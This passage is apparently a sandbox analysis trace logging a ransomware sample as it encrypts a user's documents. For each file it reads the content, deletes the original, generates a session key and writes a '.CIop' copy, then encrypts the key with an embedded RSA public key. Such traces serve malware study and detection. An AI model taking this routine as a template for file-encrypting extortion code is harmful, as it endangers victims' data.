2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0092.994] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x31ad5b8, pcbBinary=0x31ad5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x31ad5b8, pcbBinary=0x31ad5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0092.994] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x31ad5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x31ad5a0, pcbStructInfo=0x31ad598 | out: pvStructInfo=0x31ad5a0, pcbStructInfo=0x31ad598) returned 1 [0092.994] CryptAcquireContextW (in: phProv=0x31ad5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x31ad5a8*=0x62d118) returned 1 [0092.994] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62d118, dwCertEncodingType=0x1, pInfo=0x6821e0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x31ad5b0 | out: phKey=0x31ad5b0*=0x5c3690) returned 1 [0092.994] CryptEncrypt (in: hKey=0x5c3690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x31ad5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x31ad5b4*=0x80) returned 1 [0092.994] CryptEncrypt (in: hKey=0x5c3690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62d1a0*, pdwDataLen=0x31ad5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62d1a0*, pdwDataLen=0x31ad5a4*=0x80) returned 1 [0092.994] WriteFile (in: hFile=0x480, lpBuffer=0x62d1a0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x31ae5d8, lpOverlapped=0x0 | out: lpBuffer=0x62d1a0*, lpNumberOfBytesWritten=0x31ae5d8*=0x80, lpOverlapped=0x0) returned 1 [0092.994] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0092.995] VirtualFree (lpAddress=0x2dd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.995] VirtualFree (lpAddress=0x2de0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.995] CloseHandle (hObject=0x480) returned 1 [0092.996] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\tpkoPGhxV.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\tpkopghxv.xls")) returned 0 Thread: id = 91 os_tid = 0x618 [0093.029] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0093.029] lstrcpyW (in: lpString1=0x2f0f368, lpString2="vv1t.doc" | out: lpString1="vv1t.doc") returned="vv1t.doc" [0093.029] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\" [0093.029] SetErrorMode (uMode=0x1) returned 0x1 [0093.029] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\vv1t.doc") returned 83 [0093.029] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\vv1t.doc", dwFileAttributes=0x20) returned 1 [0093.030] StrStrW (lpFirst="vv1t.doc", lpSrch=".CIop") returned 0x0 [0093.030] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\vv1t.doc.CIop") returned 88 [0093.030] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\vv1t.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\vv1t.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x47c [0093.030] ReadFile (in: hFile=0x47c, lpBuffer=0x636ce0, nNumberOfBytesToRead=0x2cb7, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesRead=0x2f0e5e8*=0x2cb7, lpOverlapped=0x0) returned 1 [0093.031] CloseHandle (hObject=0x47c) returned 1 [0093.031] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\vv1t.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\vv1t.doc")) returned 1 [0093.032] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0093.032] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0093.033] SetErrorMode (uMode=0x1) returned 0x1 [0093.033] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x62d228) returned 1 [0093.035] CryptGenKey (in: hProv=0x62d228, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5c3310) returned 1 [0093.063] CryptExportKey (in: hKey=0x5c3310, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0093.063] CryptExportKey (in: hKey=0x5c3310, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0093.063] CryptDestroyKey (hKey=0x5c3310) returned 1 [0093.063] CryptReleaseContext (hProv=0x62d228, dwFlags=0x0) returned 1 [0093.063] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\vv1t.doc.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\vv1t.doc.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x47c [0093.063] WriteFile (in: hFile=0x47c, lpBuffer=0x636ce0*, nNumberOfBytesToWrite=0x2cb7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x636ce0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x2cb7, lpOverlapped=0x0) returned 1 [0093.064] SetFilePointer (in: hFile=0x47c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cb7 [0093.064] WriteFile (in: hFile=0x47c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0093.064] SetFilePointer (in: hFile=0x47c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cbe [0093.064] SetErrorMode (uMode=0x1) returned 0x1 [0093.064] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0093.064] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0093.064] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0093.064] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x62d228) returned 1 [0093.064] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62d228, dwCertEncodingType=0x1, pInfo=0x682ad0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5c2ad0) returned 1 [0093.064] CryptEncrypt (in: hKey=0x5c2ad0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0093.065] CryptEncrypt (in: hKey=0x5c2ad0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62d2b0*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62d2b0*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0093.065] WriteFile (in: hFile=0x47c, lpBuffer=0x62d2b0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62d2b0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0093.065] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.065] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.065] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.065] CloseHandle (hObject=0x47c) returned 1 [0093.066] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\vv1t.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\vv1t.doc")) returned 0 Thread: id = 92 os_tid = 0x788 [0093.094] lstrcpyA (in: lpString1=0x2f0e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0093.094] lstrcpyW (in: lpString1=0x2f0f368, lpString2="iclup5FUSoIoGUEpJ 8n.pps" | out: lpString1="iclup5FUSoIoGUEpJ 8n.pps") returned="iclup5FUSoIoGUEpJ 8n.pps" [0093.094] lstrcpyW (in: lpString1=0x2f0f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" [0093.094] SetErrorMode (uMode=0x1) returned 0x1 [0093.094] wsprintfW (in: param_1=0x2f0eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\iclup5FUSoIoGUEpJ 8n.pps") returned 120 [0093.094] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\iclup5FUSoIoGUEpJ 8n.pps", dwFileAttributes=0x20) returned 1 [0093.094] StrStrW (lpFirst="iclup5FUSoIoGUEpJ 8n.pps", lpSrch=".CIop") returned 0x0 [0093.095] wsprintfW (in: param_1=0x2f0e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\iclup5FUSoIoGUEpJ 8n.pps.CIop") returned 125 [0093.095] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\iclup5FUSoIoGUEpJ 8n.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\rmpn_zry5sqnhaj8agld\\iclup5fusoioguepj 8n.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x47c [0093.095] ReadFile (in: hFile=0x47c, lpBuffer=0x638ce8, nNumberOfBytesToRead=0x75ff, lpNumberOfBytesRead=0x2f0e5e8, lpOverlapped=0x0 | out: lpBuffer=0x638ce8*, lpNumberOfBytesRead=0x2f0e5e8*=0x75ff, lpOverlapped=0x0) returned 1 [0093.096] CloseHandle (hObject=0x47c) returned 1 [0093.096] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\iclup5FUSoIoGUEpJ 8n.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\rmpn_zry5sqnhaj8agld\\iclup5fusoioguepj 8n.pps")) returned 1 [0093.097] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0093.097] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0093.098] SetErrorMode (uMode=0x1) returned 0x1 [0093.098] CryptAcquireContextW (in: phProv=0x2f0e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x2f0e5b8*=0x62d3c0) returned 1 [0093.100] CryptGenKey (in: hProv=0x62d3c0, Algid=0x1, dwFlags=0x4000, phKey=0x2f0e5bc | out: phKey=0x2f0e5bc*=0x5c3450) returned 1 [0093.155] CryptExportKey (in: hKey=0x5c3450, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x2f0e5ec | out: pbData=0x0*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0093.155] CryptExportKey (in: hKey=0x5c3450, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2f20000, pdwDataLen=0x2f0e5ec | out: pbData=0x2f20000*, pdwDataLen=0x2f0e5ec*=0x94) returned 1 [0093.155] CryptDestroyKey (hKey=0x5c3450) returned 1 [0093.155] CryptReleaseContext (hProv=0x62d3c0, dwFlags=0x0) returned 1 [0093.155] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\iclup5FUSoIoGUEpJ 8n.pps.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\rmpn_zry5sqnhaj8agld\\iclup5fusoioguepj 8n.pps.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x47c [0093.155] WriteFile (in: hFile=0x47c, lpBuffer=0x638ce8*, nNumberOfBytesToWrite=0x75ff, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x638ce8*, lpNumberOfBytesWritten=0x2f0e5d8*=0x75ff, lpOverlapped=0x0) returned 1 [0093.156] SetFilePointer (in: hFile=0x47c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x75ff [0093.156] WriteFile (in: hFile=0x47c, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x2f0e5d8*=0x7, lpOverlapped=0x0) returned 1 [0093.156] SetFilePointer (in: hFile=0x47c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x7606 [0093.157] SetErrorMode (uMode=0x1) returned 0x1 [0093.157] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0093.157] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x2f0d5b8, pcbBinary=0x2f0d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0093.157] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x2f0d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598 | out: pvStructInfo=0x2f0d5a0, pcbStructInfo=0x2f0d598) returned 1 [0093.157] CryptAcquireContextW (in: phProv=0x2f0d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2f0d5a8*=0x62d3c0) returned 1 [0093.157] CryptImportPublicKeyInfoEx (in: hCryptProv=0x62d3c0, dwCertEncodingType=0x1, pInfo=0x682ba0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x2f0d5b0 | out: phKey=0x2f0d5b0*=0x5c2b10) returned 1 [0093.157] CryptEncrypt (in: hKey=0x5c2b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x2f0d5b4*=0x80) returned 1 [0093.157] CryptEncrypt (in: hKey=0x5c2b10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x62e2a0*, pdwDataLen=0x2f0d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x62e2a0*, pdwDataLen=0x2f0d5a4*=0x80) returned 1 [0093.157] WriteFile (in: hFile=0x47c, lpBuffer=0x62e2a0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2f0e5d8, lpOverlapped=0x0 | out: lpBuffer=0x62e2a0*, lpNumberOfBytesWritten=0x2f0e5d8*=0x80, lpOverlapped=0x0) returned 1 [0093.157] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.157] VirtualFree (lpAddress=0x2f10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.158] VirtualFree (lpAddress=0x2f20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.158] CloseHandle (hObject=0x47c) returned 1 [0093.159] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\iclup5FUSoIoGUEpJ 8n.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\wzso9vkmm1pxfg\\us_5u4ni7qwinoue\\iszluu\\rmpn_zry5sqnhaj8agld\\iclup5fusoioguepj 8n.pps")) returned 0 Thread: id = 93 os_tid = 0x858 [0093.162] lstrcpyA (in: lpString1=0x304e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0093.162] lstrcpyW (in: lpString1=0x304f368, lpString2="k4LJ2WYGO9QfwUDPoT.doc" | out: lpString1="k4LJ2WYGO9QfwUDPoT.doc") returned="k4LJ2WYGO9QfwUDPoT.doc" [0093.162] lstrcpyW (in: lpString1=0x304f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\WZsO9vKmM1PXfg\\us_5U4ni7qwInOUE\\isZLUU\\rMpN_ZRY5SqnHAJ8aGld\\" [0093.162] SetErrorMode (uMode=0x1) returned 0x1 [0093.162] wsprintfW (in: param_1=0x304eb68, param_2="%s%s" | out: 